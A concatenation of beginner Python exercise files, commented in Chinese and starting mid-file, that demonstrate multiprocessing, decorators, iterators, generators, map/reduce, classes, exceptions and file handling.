print('Child process will start.')
p.start()
p.join()
print('Child process end.')
#进程池
from multiprocessing import Pool
import os,time,random
def long_time_task(name):
print('运行任务',name,'----',os.getpid())
start = time.time()
time.sleep(random.random()*3)
end = time.time()
print('第%s任务结束,运行了%s秒' %(name,(end-start)))
if __name__=='__main__':
print('父进程id为:',os.getpid())
p = Pool(5)
for i in range(5):
p.apply_async(long_time_task,args=(i,))
print('等待任务准备工作')
p.close()
p.join()
print('所有任务结束....')
#进程间的通信
from multiprocessing import Process,Queue
import os,time,random
def write(q):
print('写操作的进程Id为',os.getpid())
for value in ['a','b','c']:
print('进入队列的值为',value)
q.put(value)
time.sleep(2)
def read(q):
print('读操作的进程Id为',os.getpid())
while True:
value = q.get(True)
print('读到的数据为:',value)
if __name__ =='__main__':
#父进程创建Queue,并传给子进程
q = Queue()
pw = Process(target=write,args=(q,))
pr = Process(target=read,args=(q,))
pw.start()
pr.start()
# 等待pw结束:
pw.join()
# pr进程里是死循环,无法等待其结束,只能强行终止:
pr.terminate()
<file_sep>#定制类
class Student(object):
def __init__(self,name):
self.__name=name
self.__a = 0
#当打印一个实例时,输出name
def __str__(self):
return self.__name
__repr = __str__
# 如果一个类想被用于for ... in循环,
# 类似list或tuple那样,就必须实现一个__iter__()方法,
# 该方法返回一个迭代对象,然后,Python的for循环就会不断调用该迭代对象的__next__()方法拿到循环的下一个值,
# 直到遇到StopIteration错误时退出循环。
def __iter__(self):
return self
def __next__(self):
self.__a+=1
if self.__a>10:
raise StopIteration
return self.__a
#test
s = Student('abc')
print(s)
for item in Student('sd'):
print(item)
<file_sep># Python所有的错误都是从BaseException类派生的,常见的错误类型和继承关系看这里:
# https://docs.python.org/3/library/exceptions.html#exception-hierarchy
def tryTest():
try:
r = 10/0
print('result:',r)
except ZeroDivisionError as e:
print('except:',e)
finally:
print('finally...')
print('funtion end')
tryTest()
# import pdb
# pdb.set_trace()
#利用raise来抛出错误,或抛出自定义错误
class myError(ValueError):
pass
def foo():
raise myError('my error')
#foo()
#调式
#1.在合适的地方使用print,但是不方便
#2.在合适的地方使用assert,在启动python解释器时利用-O参数可以关闭assert,关闭后相当于pass
#assert当不满足条件,就会输出error:n==0
def foo2(n):
#assert n!=0,'error:n==0'
print(n)
foo2(1)
foo2(0)
#3.使用logging记录到文件
import logging
logging.basicConfig(level=logging.INFO)
s='0'
n = int(s)
logging.info('n=%d' % n)
print(10/n)
#4.使用pdb调式,输入n单步执行代码,输入p+变量名查看变量,输入q结束调式
#利用pdb.set_trace()设置断点,运行代码,程序会自动在pdb.set_trace()暂停并进入pdb调试环境,可以用命令p查看变量,或者用命令c继续运行
<file_sep>
#不带参数的修饰器
def log(func):
def wrapper(*args,**kw):
print('call %s():' %func.__name__)
return func(*args,**kw)
return wrapper;
#带参数的修饰器
def log2(text):
def decorator(func):
def wrapper(*agrs,**kw):
print("start log"+text)
return func(*agrs,**kw)
return wrapper
return decorator
import functools
def log3(text):
def decorator(func):
@functools.wraps(func)
def wrapper(*args,**kw):
print("log"+text)
return func(*args,**kw)
return wrapper
return decorator
@log3("出错开始")
def now():
print('2017-9-5')
now()
#由于装饰器的作用函数的__name__属性变为了wrapper,
#log3利用functools模块解决了这个问题
print(now.__name__)
#编写一个decorator,
#能在函数调用的前后打印出'begin call'和'end call'的日志。
def method(func):
@functools.wraps(func)
def wrapper(*args,**kw):
print('begin call')
func(*args,**kw)
print('end call')
return func
return wrapper
def method2(*pram):
def decorator(func):
@functools.wraps(func)
def wrapper(*args,**kw):
for p in pram:
print(p)
print('.......')
return func(*args,**kw)
return wrapper
return decorator
@method2()
def test():
print('........')
test()
#偏函数
#当函数的参数个数太多,需要简化时,使用functools.partial可以创建一个新的函数,这个新函数可以固定住原函数的部分参数,从而在调用时更简单。
#默认int()返回的是十进制数,如果返回二进制需要int('112',base=2)
#如果很多地方需要使用,则可以通过functools改变默认参数
int2 = functools.partial(int,base=2)
print(int('100',base = 2))
print(int2('100'))
import moduleTest
moduleTest.<file_sep>#coding : UTF-8
#位置参数
def DisplayInfo(name,info):
print(name,"提供的信息是:",info)
#默认参数
def DisplayInfo2(name,info="重要信息"):
print(name,"提供的信息是:",info)
#可变参数
def DisplayInfo3(name,*param):
for index in param:
print(name,"提供的信息是:",index)
#关键字参数
def DisplayInfo4(name,**param):
print('name:', name, 'other:', param)
#命名关键字参数
def DisplayInfo5(name,*,arg,info):
print("name:",name,"arg:",arg,"info:",info)
DisplayInfo("张三","我是张三")
DisplayInfo2("张三")
DisplayInfo3("张三","sdf","sdf士大夫撒","121212")
DisplayInfo4("张三",age=12)
DisplayInfo5("张三",arg=12,info="sdfsdf")
#参数组合
def f1(a,b,c=0,*args,**kw):
print('a =', a, 'b =', b, 'c =', c, 'args =', args, 'kw =', kw)
def f2(a, b, c=0, *, d, **kw):
print('a =', a, 'b =', b, 'c =', c, 'd =', d, 'kw =', kw)
#利用tuple和dict调用上述函数
args = (1,2)
kw = {'d':99,'x':'sd'}
f1(*args,**kw)
f2(*args,**kw)
<file_sep>#定义一个标准模块
#标准注释
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# 模块的文档注释,
# 任何模块代码的第一个字符串都被视为模块的文档注释
'a test module'
__author__='guohe'
import sys
def test():
args = sys.argv
for item in args:
print(item)
if __name__ == '__main__':
test()
# 作用域
# 在一个模块中,我们可能会定义很多函数和变量,但有的函数和变量我们希望给别人使用,有的函数和变量我们希望仅仅在模块内部使用。在Python中,是通过_前缀来实现的。
# 正常的函数和变量名是公开的(public),可以被直接引用,比如:abc,x123,PI等;
# 类似__xxx__这样的变量是特殊变量,可以被直接引用,但是有特殊用途,比如上面的__author__,__name__就是特殊变量,hello模块定义的文档注释也可以用特殊变量__doc__访问,我们自己的变量一般不要用这种变量名;
# 类似_xxx和__xxx这样的函数或变量就是非公开的(private),不应该被直接引用,比如_abc,__abc等;
# 之所以我们说,private函数和变量“不应该”被直接引用,而不是“不能”被直接引用,是因为Python并没有一种方法可以完全限制访问private函数或变量,但是,从编程习惯上不应该引用private函数或变量。
def _private1():
print('pri_1')
def _private2():
print('pri_2')
def get():
_private1()
_private2()
<file_sep>#!/usr/bin/python
# -*- coding: UTF-8 -*-
#使用列表[:]。
a = [1, 2, 3]
b = a[:]
print b
import time
#九九乘法表,并暂停一秒输出
for i in range(1,10):
for j in range(1,10):
print "%d * %d = %d" %(i,j, (i*j))
time.sleep(1);<file_sep>#!/usr/bin/python
#_*_ coding:UTF-8 _*_
# 企业发放的奖金根据利润提成。
# 利润(I)低于或等于10万元时,奖金可提10%;
# 利润高于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可可提成7.5%;
# 20万到40万之间时,高于20万元的部分,可提成5%;
# 40万到60万之间时,高于40万元的部分,可提成3%;
# 60万到100万之间时,高于60万元的部分,可提成1.5%,高于100万元时,超过100万元的部分按1%提成,
# 从键盘输入当月利润I,求应发放奖金总数?
i = int(input('input:'))
arr = [1000000,600000,400000,200000,100000,0]
rat = [0.01,0.015,0.03,0.05,0.075,0.1]
r = 0
for idx in range(0,6):
if i>arr[idx]:
r+=(i-arr[idx])*rat[idx]
i = arr[idx]
print(r)<file_sep>#coding=utf-8
s="中文"
print(s)
s1 = 72
s2 = 85
r = (85-72)
print("%.1f %%" %r)
import sys
print (sys.version)
l = [1,2,3]
#追加
l.append(4)
print(l)
l.append([5,6,7])
print(l)
#插入
l.insert(1,"中")
print(l)
#删除
l.pop()
print(l)
l.pop(1)
#修改
l[1] = "第一位"
l.reverse()
print(l)
# -*- coding: utf-8 -*-
L = [
['Apple', 'Google', 'Microsoft'],
['Java', 'Python', 'Ruby', 'PHP'],
['Adam', 'Bart', 'Lisa']
]
# 打印Apple:
print(L[0][0])
# 打印Python:
print(L[1][1])
# 打印Lisa:
print(L[2][2])
L.remove(['Apple', 'Google', 'Microsoft'])
print(L)
print(abs(-1))
help(abs)
print(str(100))
print(hex(12))<file_sep>from enum import Enum
Month = Enum('Month',('a','b','c'))
s = Month.a.value
print(s)
import logging
logging.exception("sdf")
<file_sep>#!/usr/bin/python
# -*- coding: UTF-8 -*-
#输入三个整数x,y,z,按照从小到大输出
x = int(input("\n x:"));
y = int(input("\n y:"));
z = int(input("\n z:"));
def swap(num1,num2):
return num2,num1;
def method1(x,y,z):
if(x>y):
x,y = swap(x,y);
if x>z:
x,z = swap(x,z);
if y>z:
y,z = swap(y,z);
return x,y,z;
def method2():
arr = [];
for i in range(3):
x = int(input());
arr.append(x);
arr.sort();
return arr;
#输出
print(method1(x,y,z));
print(method2());
<file_sep>#切片分割list
l=[]
for i in range(100):
l.append(i)
print(l)
#取前十个元素
print(l[:10])
#从索引3~10(不包括索引10)的元素
print(l[3:10])
#倒着取元素,不包括右边界
print(l[-5:-2])
#前10个数,每两个取一个:
print(l[:10:2])
#复制集合可以用以下方式
print(l[:])
#针对tuple和字符串上面的方式同样适用
print("中华人民共和国"[3:5])
<file_sep>#排序算法
#使用内置sorted()
L=[1,3,4,2,-6]
print(sorted(L)) #升序
print(sorted(L,reverse=True)) #降序
#按照指定的逻辑,排序,根据key函数返回的结果进行排序
print(sorted(L,key=abs)) # 根据绝对值升序
L = [('Bob', 75), ('Adam', 92), ('Bart', 66), ('Lisa', 88)]
def by_name(t):
return t[0]
print(sorted(L,key=by_name))
<file_sep>
#通过__前缀定义私有变量
class Student(object):
name = 'Student'
def __init__(self,name,age):
self.__name = name
self.__age = age
def getInfo(self):
print("姓名:%s %s" %(self.__name,self.__age))
stu1 = Student('zhang',12)
stu2 = Student('lisi',20)
stu1.getInfo()
stu2.getInfo()
print(Student.name)
stu1.info = 'i am student'
# 继承
class Studentt(Student):
pass
stu21 = Studentt("sss",111)
stu21.getInfo()
#为实例添加属性和方法
stu1.des = 'i am bob'
print(stu1.des)
#为实例添加方法
def showdes(self):
print(self.des)
from types import MethodType
stu1.showdes = MethodType(showdes,stu1)
stu1.showdes()
#在实例上添加属性只属于他自己,为类添加属性在所有实例中共享
def showInfo(self,info):
print(info)
Student.info2 = showInfo
stu1.info2('sdf')
#只允许对Student实例添加name和age属性。
#从而限制属性的添加使用__slots__
class Animal(object):
__slots__=('name','age')
animal1 = Animal()
animal1.name='animal'
print(animal1.name)
#animal1.other='abc' error
#print(animal1.other) error
<file_sep>#!/usr/bin/python
# -*- coding: UTF-8 -*-
#输入某年某月某日,判断这一天是这一年的第几天?
#1,3,5,7,8,10,12
#4,6,9,11
#2
year = int(raw_input("year:\n"));
month = int(raw_input("month:\n"));
day = int(raw_input("day:\n"));
#检查年份是闰年还是平年
def checkYear(year):
if(year%400==0) or ((year%4==0) and (year%100!=0)):
return 1;
return 0;
#方法一
def method1(year,month,day):
sum = 0;
months = (0,31,59,90,120,151,181,212,243,273,304,334);
if 0<month<=12:
sum = months[month-1];
else:
return "month input error";
sum += day;
leap = checkYear(year);
if (leap==1) and month>2:
sum+=1;
return sum;
#方法二
def method2(year,month,day):
month31 = (1,3,5,7,8,10);
month30 = (4,6,9,11);
leap = checkYear(year);
if day<1 or ((month in month30) and day >30) or ((month in month31) and day >31) or month<1 or month>12:
return "input error";
elif(month==2):
if leap==1 and day >29:
return "input error";
elif(leap!=1 and day>28):
return "input error";
sum2 = day;
if(1<month<=12):
for index in range(1,month):
if(index in month31):
sum2+=31;
if(index in month30):
sum2+=30;
if month>2:
sum2+=28;
if(leap==1):
sum2+=1;
return sum2;
print "------------------------------------"
print method1(year,month,day);
print method2(year,month,day);
<file_sep># PythonStudy
python study ,you can do it
<file_sep># map()函数接收两个参数,一个是函数,一个是Iterable,
# map将传入的函数依次作用到序列的每个元素,并把结果作为新的Iterator返回
# reduce把一个函数作用在一个序列[x1, x2, x3, ...]上,
# 这个函数如:fn,必须接收两个参数,reduce把结果继续和序列的下一个元素做累积计算
from functools import reduce
from collections import Iterable
def char2num(s):
return {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9}[s]
def fn(x, y):
return x * 10 + y
print(isinstance(map(char2num, '13579'),Iterable))
print(reduce(fn, map(char2num, '13579')))
print(map(char2num, '13579'))
# 利用map()函数,把用户输入的不规范的英文名字,
# 变为首字母大写,其他小写的规范名字。
# 输入:['adam', 'LISA', 'barT'],输出:['Adam', 'Lisa', 'Bart']
def normalize(name):
return name[0].upper()+name[1:].lower()
L=['adam', 'LISA', 'barT']
print(list(map(normalize,L)))
for i in L:
print(i.title())
def prod(L):
return reduce(lambda x,y:x*y,L)
print(prod([2,3,4]))
CHAR_TO_FLOAT = {
'0': 0,
'1': 1,
'2': 2,
'3': 3,
'4': 4,
'5': 5,
'6': 6,
'7': 7,
'8': 8,
'9': 9,
'.': -1
}
CHAR_TO_INT = {
'0': 0,
'1': 1,
'2': 2,
'3': 3,
'4': 4,
'5': 5,
'6': 6,
'7': 7,
'8': 8,
'9': 9
}
def str2float(s):
nums = map(lambda ch:CHAR_TO_FLOAT[ch],s)
point = 0
def to_float(f,n):
nonlocal point
if n==-1:
point = 1
return f
if point == 0:
return f*10+n
else:
point = point * 10
return f+n/point
return reduce(to_float,nums,0.0)
def str2Int(s):
return reduce(lambda x,y:x*10+y,map(lambda ch:CHAR_TO_INT[ch],s))
print(str2Int("13223"))
print(str2float("132.23"))
<file_sep>from pygorithm.sorting import bubble_sort
myList = [12,3,4,2,56,21]
sortedList = bubble_sort.sort(myList)
print sortedList
code = bubble_sort.get_code()
print code
time_complexity = bubble_sort.time_complexities()
print time_complexity
<file_sep>#!/usr/bin/python
# -*- coding: UTF-8 -*-
#斐波那契数列。
#方法1
def fib(fn):
if fn==1 or fn==2:
return 1;
return fib(fn-1)+fib(fn-2);
def method(n):
if(n<=0):
return 0;
for i in range(1,n+1):
print fib(i);
#方法二
def method2(n):
if n == 1:
return [1]
if n == 2:
return [1, 1]
fibs = [1, 1]
for i in range(2, n):
fibs.append(fibs[-1] + fibs[-2])
return fibs
n = int(raw_input("input n:"));
method(n);
print method2(n);
<file_sep>#只要作用于一个可迭代对象,for循环就可以正常运行,而我们不太关心该对象究竟是list还是其他数据类型。
#迭代字典类型
d = {'a': 1, 'b': 2, 'c': 3}
for i in d:
print(d[i])
#迭代字符串类型
for i in "abc":
print(i)
#判断对象是否是可迭代的对象
from collections import Iterable
print(isinstance("abc",Iterable))
print(isinstance(123,Iterable))
#实现类似Java那样的下标循环
for i,value in enumerate([4,5,6]):
print(i,value)
for x,y,z in [(3,4,5),(55,77,6)]:
print(x,y,z)
#利用列表生成式 简化代码
#[1*1,2*2,3*3....10*10]
print([x*x for x in range(1,11)])
#加入条件
print([x*x for x in range(1,11) if x%2==0])
#多层循环
print([m+n for m in "guohe" for n in ("good")])
#包含字符串和数字的列表,要求将字符串都变成小写,数字忽略
L1 = ['Hello', 'World', 18, 'Apple', None]
print([s.lower() for s in L1 if isinstance(s,str)])
for item in (s.lower() for s in L1 if isinstance(s,str)):
print(item)
#复杂的问题,可以是哟用函数解决
#1,1,2,3,5,8,13斐波拉契数列
def fib(max):
n,a,b = 0,0,1
while n<max:
print(b)
a,b = b,a+b
n = n+1
return 'done'
#如果要把上述函数变为generator类型只需要把print(b),改成yield b
def fib2(max):
n,a,b = 0,0,1
while n<max:
yield(b)
a,b = b,a+b
n = n+1
return 'done'
for i in (fib2(4)):
print(i)
#捕获return返回的内容需要在异常中处理
g = fib2(5)
while True:
try:
x = next(g)
print(x)
except StopIteration as e:
print(e.value)
break
#杨辉三角
def triangles():
a = []
while True:
for i in range(0,len(a)-1):
a[i] = a[i]+a[i+1]
a.insert(0,1);
yield a
n = 0
for t in triangles():
print(t)
n = n + 1
if n == 10:
break
<file_sep># 直接作用于for循环的数据类型有以下几种:
# 一类是集合数据类型,如list、tuple、dict、set、str等;
# 一类是generator,包括生成器和带yield的generator function。
# 这些可以直接作用于for循环的对象统称为可迭代对象:Iterable。
# 可以使用isinstance()判断一个对象是否是Iterable对象
# isinstance([], Iterable) True
# 可以被next()函数调用并不断返回下一个值的对象称为迭代器:Iterator。
# 可以使用isinstance()判断一个对象是否是Iterator对象:
# isinstance([], Iterator) False
# 生成器都是Iterator对象,但list、dict、str虽然是Iterable,却不是Iterator。
#使用iter()函数可以将上述变为迭代器 如:iter([1,2,3])
# 凡是可作用于for循环的对象都是Iterable类型;
# 凡是可作用于next()函数的对象都是Iterator类型,它们表示一个惰性计算的序列;
# 集合数据类型如list、dict、str等是Iterable但不是Iterator,不过可以通过iter()函数获得一个Iterator对象。
# Python的for循环本质上就是通过不断调用next()函数实现的
<file_sep>from io import StringIO
class IOTest():
def __init__(self,path):
self.Path = path
#第一种写法
def openFile(self,openType='r',encoding='gbk'):
try:
f = open(self.Path,openType)
print(f.read())
except IOError as e:
print('Error:',e)
finally:
if f:
f.close()
#第二种写法,利用with
def openFile2(self,openType):
with open(self.Path,openType) as f:
print(f.read())
def writeFile(self,content):
with open(self.Path,'w') as f:
f.write(content)
#利用stringIO读取内存中的数据
def writeToStringIO(self,content):
f2 = StringIO()
f2.write(content)
print(f2.getvalue())
return f2
def readStringIO(self,f):
while True:
s = f.readline()
if s=='':
break
print(s.strip())
file = IOTest('./PythonBase/a.txt')
file.openFile(encoding='utf-8')
file.writeFile('he is man')
f2 = file.writeToStringIO('i am xiaoming')
f = StringIO('Hello!\nHi!\nGoodbye!')
print(file.readStringIO(f))
#f2.getvalue()
#操作系统的类型
import os
print('操作系统:',os.name)
#print(os.environ)
print(os.path.abspath('.'))
<file_sep># filter接收一个函数和一个序列,把传入的函数一次作用于每个元素,
# 然后根据返回值是True还是False决定保留还是丢弃
def getou(s):
return s%2==1
print(list(filter(getou,[1,3,4,2,5,6])))
#把一个序列中的空字符串删掉
def not_empty(s):
return s and s.strip()
print(list(filter(not_empty,['a','',' b ','c'])))
def odd_iter():
n=1
while True:
n = n+2
yield n
def not_divisible(n):
return lambda x:x%n>0
def primes():
yield 2
it = odd_iter()
while True:
n = next(it)
yield n
it = filter(not_divisible(n),it)
it = odd_iter()
print(list(filter(not_divisible(n),it)))
# for n in primes():
# print(n)
# if(n>50):
# break | 2059e97fbfa3da3de2e3fe2f0f22f828d18426a4 | [
"Markdown",
"Python"
] | 23 | Python | guoheFast/PythonStudy | 5ec08c212db1623308827985ee30508dd495c1d3 | e738ecfaf56e65ef9cfad0501ffca9fc59258659 |
refs/heads/master | <repo_name>peacefulwarrior/gitTest<file_sep>/bfInterpreter/main.cpp
#include <iostream>
#include <fstream>
#include <string>
#define TESTING
#define MEM_SIZE 30000
/*++++++++++++++++++++++++++++++++[>+>+<<-]>>+++++++++++++++++++++++++<<++++++++++[>>.-<.<-]*/
typedef char byte;
std::string loadFile(const std::string&);
struct bfState
{
byte mem[MEM_SIZE];
unsigned ptr;
std::string src;
unsigned instrPtr;
};
bfState createbfState(const std::string& fileName)
{
bfState newbfState;
newbfState.ptr = 0;
newbfState.instrPtr = 0;
newbfState.src = loadFile(fileName);
return newbfState;
}
/*
static byte mem[MEM_SIZE];
static unsigned int ptr = 0;
static std::string src;
static unsigned int instrPtr = 0;
*/
std::string loadFile(const std::string& fileName)
{
std::ifstream file;
std::string line;
std::string ret;
file.open(fileName);
if (file.is_open())
{
while (file.good())
{
std::getline(file, line);
ret.append(line + "\n");
}
}
else
{
std::cerr << "Unable to open file: " << fileName << std::endl;
}
return ret;
}
/*
* Print used memory by printing everything in mem until two 0's have been found
* Assumes that memory is used contiguously
*/
void printUsedMem(const bfState& state)
{
bool lastZ = false;
for (int i = 0; i < MEM_SIZE; i++)
{
if (state.mem[i] == 0)
{
if (lastZ)
{
std::cout << "Approximate used memory : " << i << " bytes" << std::endl;
return;
}
else
{
std::cout << "0" << std::endl;
lastZ = true;
}
}
else
{
std::cout << (int)state.mem[i] << std::endl;
lastZ = false;
}
}
}
void findMatchingBrace(const char symbol, bfState& state)
{
bool foundMatch = false;
if (symbol == ']')
{
for (unsigned i = state.instrPtr; i < state.src.size(); i++)
{
if (state.src[i] == symbol)
{
state.instrPtr = i;
foundMatch = true;
break;
}
}
}
else
{
for (unsigned i = state.instrPtr; i > 0; i--)
{
if (state.src[i] == symbol)
{
state.instrPtr = i;
foundMatch = true;
break;
}
}
}
if (!foundMatch)
{
std::cout << "Error: missing '" << symbol << "' at" << std::endl;
std::cout << state.src << std::endl;
for (int i = 0; i < state.instrPtr; i++)
{
std::cout << " ";
}
std::cout << "^" << std::endl;
system("pause");
}
}
bool processInstruction(bfState& state)
{
switch (state.src[state.instrPtr])
{
case '>':
state.ptr++;
break;
case '<':
state.ptr--;
break;
case '+':
state.mem[state.ptr]++;
break;
case '-':
state.mem[state.ptr]--;
break;
case '.':
std::cout << state.mem[state.ptr];
break;
case ',':
std::cin >> state.mem[state.ptr];
break;
case '[':
// is the while condition true? (while (mem[ptr]))
if (state.mem[state.ptr] == 0)
{
// find the closing ']' and jump to it
findMatchingBrace(']', state);
}
break;
case ']':
// loop?
if (state.mem[state.ptr] != 0)
{
// find the opening '[' and jump to it
findMatchingBrace('[', state);
state.instrPtr--;
}
break;
case '\n':
return false;
break;
default:
std::cout << "Unknown instruction: " << state.src[state.instrPtr] << std::endl;
return false;
break;
}
state.instrPtr++;
return true;
}
int main(int argc, char **argv)
{
bfState bfState;
if (argc > 1)
{
bfState = createbfState(argv[1]);
}
else
{
#ifdef TESTING
bfState = createbfState("test.txt");
#else
std::cout << "usage: bfInterpreter [sourceFile]" << std::endl;
return -1;
#endif
}
while (bfState.src.size() > bfState.instrPtr)
{
if (!processInstruction(bfState))
{
break;
}
}
std::cout << std::endl;
system("pause");
return 0;
} | ad80572b43c204d50d6f933d0f6c5ddff5dc2bc0 | [
"C++"
] | 1 | C++ | peacefulwarrior/gitTest | 1e4f6bcdc3e95e66afda19970da12028d7704dbf | 73856bdb08ad7717c4f9b30ba075488b45704472 |
refs/heads/master | <file_sep>var app = require('express')();
var http = require('http').Server(app);
var io = require('socket.io')(http);
var users={};
app.get('/', function(req, res){
res.sendFile(__dirname + '/index.html');
});
io.on('connection', function(socket){
socket.on('new user',function(data, callback){
if(data in users){
callback(false);
}else{
callback(true);
socket.nickname=data;
users[socket.nickname]=socket;
io.sockets.emit('usernames',Object.keys(users));
}
});
socket.on('chat message', function(msg){
var mesaj=msg.trim();
if(mesaj.substr(0,2)==='/w'){
mesaj=mesaj.substr(3);
var ind=mesaj.indexOf(' ');
if(ind !== -1){
var name=mesaj.substring(0,ind);
var mesaj=mesaj.substring(ind + 1);
if(name in users){
users[name].emit('whisper',{mesaj : mesaj, nick: socket.nickname});
users[socket.nickname].emit('whisper',{mesaj : mesaj, nick: socket.nickname});
console.log('whisper '+socket.nickname+" : "+name+" : "+mesaj);
}
}else{
}
}else{
console.log(socket.nickname +" : " + msg);
io.sockets.emit('chat message', {mesaj:msg,nick:socket.nickname});
}
});
socket.on('disconnect', function(){
if(!socket.nickname) return;
console.log(socket.nickname+' çıkış yaptı.');
delete users[socket.nickname];
io.sockets.emit('usernames',Object.keys(users));
});
});
http.listen(3000, function(){
console.log('Port dinleniyor :3000');
});
| cc65ccf1c91f4f389071552b41a126968b1bd434 | [
"JavaScript"
] | 1 | JavaScript | elegans18/agodevgit2 | 5d23a3710a61fd8c8fd49ceefe41b9fcff56c24c | 13e55d33e73393e843bdc2c67b76ee73811bc465 |
refs/heads/master | <file_sep>#%%
import yfinance as yf
import datetime
import pandas as pd
import os
def reader(ticker, interval="1d"):
if interval == "1d":
days = 360
else:
days = 60
ticker = str(ticker)
now = datetime.datetime.now() + datetime.timedelta(days=1)
start = now - datetime.timedelta(days=days)
data = yf.download(ticker, start.date().isoformat(), now.date().isoformat(), interval=interval)
file_name = ticker + ".csv"
data.to_csv(file_name)
print(data.head())
print("-----"*5)
print(data.tail())
df = pd.read_csv(file_name)
os.remove(file_name)
return df
| 0a3c4e0631e909195986b38c19ecb1524c4fb287 | [
"Python"
] | 1 | Python | radioxen/tradioxen | 3f709ad6e8d1b3215ac0be0c6952db723338d8f4 | e7b954a8f52bc697025ffa99e456a1ca13237dfe |
refs/heads/master | <repo_name>grensoft/sistemaventa<file_sep>/SistemaDeVenta/src/Formularios/frmPrincipal.java
package Formularios;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JMenuBar;
import javax.swing.JMenu;
public class frmPrincipal {
private JFrame frame;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
frmPrincipal window = new frmPrincipal();
window.frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
*/
public frmPrincipal() {
initialize();
}
/**
* Initialize the contents of the frame.
*/
private void initialize() {
frame = new JFrame();
frame.setBounds(100, 100, 450, 300);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JMenuBar menuBar = new JMenuBar();
frame.setJMenuBar(menuBar);
JMenu mnSistema = new JMenu("Sistema");
menuBar.add(mnSistema);
JMenu mnMantenimiento = new JMenu("Mantenimiento");
menuBar.add(mnMantenimiento);
JMenu mnConsultas = new JMenu("Consultas");
menuBar.add(mnConsultas);
}
}
| 71e7089828f39f1ea2974bf30dd79da4c09af521 | [
"Java"
] | 1 | Java | grensoft/sistemaventa | f758f46fa0b04a16812ee2360a03e3fd96181420 | e4bcf2aaf890813e55ece1cb754cffa6377a628d |
refs/heads/master | <repo_name>varshakasar/AutoIncrementUsingMongo<file_sep>/routes/index.js
const express = require('express');
const mongoose = require('mongoose');
var autoIncrement = require("mongodb-autoincrement");
const router = express.Router();
mongoose.connect('mongodb://localhost/test');
var db = mongoose.connection;
//handle mongodb error
db.on('error', console.error.bind(console, 'connection error:'));
db.once('open', () => {
console.log("Connected to DataBase...");
});
let countSchema = require('../countSchema.js');
let Count = mongoose.model('studentDetail', countSchema);
router.get('/student',(req,res,next) => {
Count.find({}).exec((err,result) => {
if(err)return next(err);
return res.json({
success:true,
data:result
})
})
})
router.post('/student',(req,res,next) => {
autoIncrement.getNextSequence(db,'studentDetail',(err,autoindex) => {
var obj = new Count({
name:req.body.name,
studid:autoindex
})
obj.save((err,data) => {
if(err) return next(err);
return res.json({
success:true,
data:data
})
})
})
})
module.exports = router;<file_sep>/index.js
const express = require('express');
let router = express.Router();
const mongoose = require('mongoose');
const bodyParser = require('body-parser');
let app = express();
let routes = require('./routes/index.js');
app.use(bodyParser.urlencoded({
extended: true
}))
app.use('/', routes);
app.use((err, req, res, next) => {
res.status(500).send({
"Error": err.stack
});
});
app.set('port', process.env.PORT || 8000 );
app.listen(app.get('port') , function(){
console.log('Server started on port : '+ app.get('port'));
});
module.exports = router;<file_sep>/test.js
var mongoose = require('mongoose');
//mongoose.connect('mongodb://localhost/optcentralnode');
mongoose.connect('mongodb://localhost/test');
Schema = mongoose.Schema;
var CounterSchema = Schema({
name: {type: String, required: true},
seq: { type: Number, default: 0 }
});
var counter = mongoose.model('autocounter', CounterSchema);
var entitySchema = mongoose.Schema({
testvalue: {type: String},
name:{type:String}
});
entitySchema.pre('save', function(next) {
var doc = this;
counter.findOneAndUpdate({name: 'inventory'}, {$inc: { seq: 1} }, function(error, counter) {
if(error)
return next(error);
console.log(counter);
doc.testvalue = counter.seq;
next();
});
});
var entity = mongoose.model('entitySchema',entitySchema);
var couterObj = new counter({name:'inventory'})
couterObj.save((err,result)=>{
console.log("counter");
console.log(result);
})
var obj = new entity({testvalue:"inventory",name:"praphul"});
obj.save((err,result)=>{
console.log("entity");
console.log(err);
console.log(result);
})
| 4c803eaa57ef80f2c725c6072d44e23a3f1520db | [
"JavaScript"
] | 3 | JavaScript | varshakasar/AutoIncrementUsingMongo | db3f3641b39312db6dcd19d8e2314ce5090b2010 | a78d1f51b7439e8cd3a1c5dcba4359ca3d8f7d44 |
refs/heads/master | <file_sep>import { tMinimalData } from "../index.d";
export const minimalDataDefinition = {
"vehiculousado:VehiculoUsado": {
position: "vehiculoUsado",
attributes: ["version"]
}
};
export const allDataDefinition = {
"vehiculousado:VehiculoUsado": {
position: "vehiculoUsado",
attributes: [
"version",
"montoAdquisicion",
"montoEnajenacion",
"claveVehicular",
"marca",
"tipo",
"modelo",
"numeroMotor",
"numeroSerie",
"niv",
"valor"
],
nodes: {
"vehiculousado:InformacionAduanera": {
position: "informacionAduanera",
attributes: ["numero", "fecha", "aduana"]
}
}
}
};
export default (params?: tMinimalData) =>
params && params.minimalData
? minimalDataDefinition
: allDataDefinition;
<file_sep>import sectorFinanciero10Template from "../retenciones.sectorFinanciero10";
describe("Aerolineas data test", () => {
it("Execute without params", () => {
expect(sectorFinanciero10Template()).toEqual({
"sectorfinanciero:SectorFinanciero": {
position: "sectorFinanciero",
attributes: [
"version",
"idFideicom",
"nomFideicom",
"descripFideicom",
]
}
});
});
it("Execute with minimalData true", () => {
expect(
sectorFinanciero10Template({
minimalData: true
})
).toEqual({
"sectorfinanciero:SectorFinanciero": {
position: "sectorFinanciero",
attributes: ["version"]
}
});
});
it("Execute with minimalData false", () => {
expect(
sectorFinanciero10Template({
minimalData: false
})
).toEqual({
"sectorfinanciero:SectorFinanciero": {
position: "sectorFinanciero",
attributes: [
"version",
"idFideicom",
"nomFideicom",
"descripFideicom",
]
}
});
});
});
<file_sep>import ineTemplate from "../ine";
describe("INE data test", () => {
it("Execute without params", () => {
expect(ineTemplate()).toEqual({
"ine:INE": {
position: "ine",
attributes: ["version", "tipoProceso", "tipoComite", "idContabilidad"]
}
});
});
it("Execute with minimalData: False", () => {
expect(ineTemplate({ minimalData: false })).toEqual({
"ine:INE": {
position: "ine",
attributes: ["version", "tipoProceso", "tipoComite", "idContabilidad"]
}
});
});
it("Execute with minimalData: True", () => {
expect(ineTemplate({ minimalData: true })).toEqual({
"ine:INE": {
position: "ine",
attributes: ["version"]
}
});
});
});
